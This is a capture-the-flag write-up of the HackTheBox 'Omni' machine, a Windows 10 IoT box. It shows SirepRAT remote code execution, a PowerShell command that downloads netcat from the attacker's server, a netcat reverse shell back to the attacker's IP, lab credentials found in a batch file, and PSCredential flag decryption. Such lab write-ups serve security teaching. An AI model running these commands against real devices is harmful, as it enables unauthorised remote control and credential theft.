Omni runs the IoT version of Windows 10, which is known to be vulnerable to SirepRAT, allowing an attacker to gain a remote code execution as SYSTEM. Leveraging the RAT, I’m able to gain a foothold on the system and obtain two set of credentials that can be used to decrypt the encrypted flags.

Skills Learned

  • Windows IoT exploitation
  • Decrypting PSCredential object

Tools

Reconnaissance

Nmap

An initial port scan using nmap discovers two open ports: MSRPC on port 135, and a Microsoft IIS on port 8080.

→ root@iamf «omni» «10.10.14.47»
$ nmap -sC -sV -oN nmap/initial-omni -v '10.10.10.204'
# Nmap 7.80 scan initiated Sun Aug 23 09:25:53 2020 as: nmap -sC -sV -oN nmap/initial-omni -v 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.056s latency).

PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn’t have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

TCP 8080 - Website

Based on the nmap’s result, authentication process is required to view the page content, and looks like it uses the basic HTTP authentication.

With default script (-sC), nmap can retrieves the authentication scheme and realm of a web service that requires authentication.

nmap identifies the realm as “Windows Device Portal”, and here is what I found on Google.

image-20210507000141372

According to the table from this documentation, Windows Device Portal (WDP) on port 8080 belongs to the IoT family, which means this machine is most likely running a Windows 10 IoT version.

image-20210507000331533

So, without credentials, I can’t do anything here.

Foothold

There is a research about unauthenticated remote code execution on Windows IoT Core. The research documents (slides, paper) as well as the exploit tool are provided in the link below.

Shell as Omni$

SirepRAT RCE

The exploit tool is work against this machine, and I can get a remote code execution as Omni$ / SYSTEM.

To get an interactive shell, I’ll host Windows nc64.exe using Python HTTP server.

→ root@iamf «omni» «10.10.14.47»
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I’ll get the hosted netcat on Omni using PowerShell Invoke-WebRequest command by leveraging the SirepRAT RCE.

→ root@iamf «omni» «10.10.14.47»
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell -c Invoke-webrequest -uri 10.10.14.68/nc64.exe -outfile U:\Users\Public\xc.exe" --vv
RECV:
00000000: 2A 4C 59 A5 FB 60 04 47  A9 6D 1C C9 7D C8 4F 12  *LY..`.G.m..}.O.
SEND:
00000000: 0A 00 00 00 12 01 00 00  01 00 00 00 01 00 00 00  ................
00000010: 24 00 00 00 36 00 00 00  5A 00 00 00 B8 00 00 00  $...6...Z.......
00000020: 12 01 00 00 00 00 00 00  00 00 00 00 43 00 3A 00  ............C.:.
00000030: 5C 00 57 00 69 00 6E 00  64 00 6F 00 77 00 73 00  \.W.i.n.d.o.w.s.
00000040: 5C 00 53 00 79 00 73 00  74 00 65 00 6D 00 33 00  \.S.y.s.t.e.m.3.
00000050: 32 00 5C 00 63 00 6D 00  64 00 2E 00 65 00 78 00  2.\.c.m.d...e.x.
00000060: 65 00 2F 00 63 00 20 00  70 00 6F 00 77 00 65 00  e./.c. .p.o.w.e.
00000070: 72 00 73 00 68 00 65 00  6C 00 6C 00 20 00 2D 00  r.s.h.e.l.l. .-.
00000080: 63 00 20 00 49 00 6E 00  76 00 6F 00 6B 00 65 00  c. .I.n.v.o.k.e.
00000090: 2D 00 77 00 65 00 62 00  72 00 65 00 71 00 75 00  -.w.e.b.r.e.q.u.
000000A0: 65 00 73 00 74 00 20 00  2D 00 75 00 72 00 69 00  e.s.t. .-.u.r.i.
000000B0: 20 00 31 00 30 00 2E 00  31 00 30 00 2E 00 31 00   .1.0...1.0...1.
000000C0: 34 00 2E 00 34 00 37 00  2F 00 6E 00 63 00 36 00  4...4.7./.n.c.6.
000000D0: 34 00 2E 00 65 00 78 00  65 00 20 00 2D 00 6F 00  4...e.x.e. .-.o.
000000E0: 75 00 74 00 66 00 69 00  6C 00 65 00 20 00 55 00  u.t.f.i.l.e. .U.
000000F0: 3A 00 5C 00 55 00 73 00  65 00 72 00 73 00 5C 00  :.\.U.s.e.r.s.\.
00000100: 70 00 75 00 62 00 6C 00  69 00 63 00 5C 00 78 00  p.u.b.l.i.c.\.x.
00000110: 63 00 2E 00 65 00 78 00  65 00                    c...e.x.e.
RECV:
00000000: 00 00 00 00                                       ....
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

After that, I’ll setup a listener, and send a reverse shell to my listener from Omni.

→ root@iamf «omni» «10.10.14.47»
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c U:\Users\public\xc.exe -e cmd.exe 10.10.14.47 1337
<HResultResult | type: 1, payload length: 4, HResult: 0x0

And I have interactive shell now.

→ root@iamf «omni» «10.10.14.47»
$ rlwrap nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.204] 49689
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

PS C:\windows\system32>$env:username
Omni$

Internal Enumeration

Enumerating for the flags finds they are located at C:\Data\Users\administrator\root.txt and C:\Data\Users\app\user.txt. Since I have access as the SYSTEM itself, I can read both the user flag and the root flag directly, but the flags are encrypted.

root.txt:

PS C:\> type C:\Data\Users\administrator\root.txt
type root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>

user.txt:

PS C:\> type C:\Data\Users\app\user.txt
type C:\Data\Users\app\user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredent^M^M      <T>System.Management.Automation.PSCredent^M^M      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

This article shows way to decrypt those two files.

$credential = Import-CliXml -Path  <PathToXml>\MyCredential.xml
$credential.GetNetworkCredential().Password

But then, I get an “Error occurred during a cryptographic operation” message. After Googling around to find the answer why it doesn’t work, it turns out the flag can only be decrypted by the user itself. So if I want to decrypt user.txt, I have to get access as app user.

While enumerating files recursively using the dir command, I spotted a batch file placed in the PowerShell folder.

PS C:\>cmd /c "dir /s /b *.bat"
cmd /c "dir /s /b *.bat"
C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Build.bat
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat

The batch files contains the credentials for user app and administrator. The file itself looks like automation script to revert the user and admin account to default.

PS C:\> gc "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
gc "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

Decrypting the Flags

Both credentials are works on the Windows Device Portal (WDP) web. WDP has a feature that allows you to do command execution on the system, so I can decrypt each flag from there.

For the root flag, I’ll use the administrator account (administrator:_1nt3rn37ofTh1nGz) and issue the command below.

powershell.exe -c "$credential=Import-CliXml -Path U:\Users\Administrator\root.txt ;$credential.GetNetworkCredential().Password;"

image-20210507020847618

For the user flag, the procedure goes the same.

References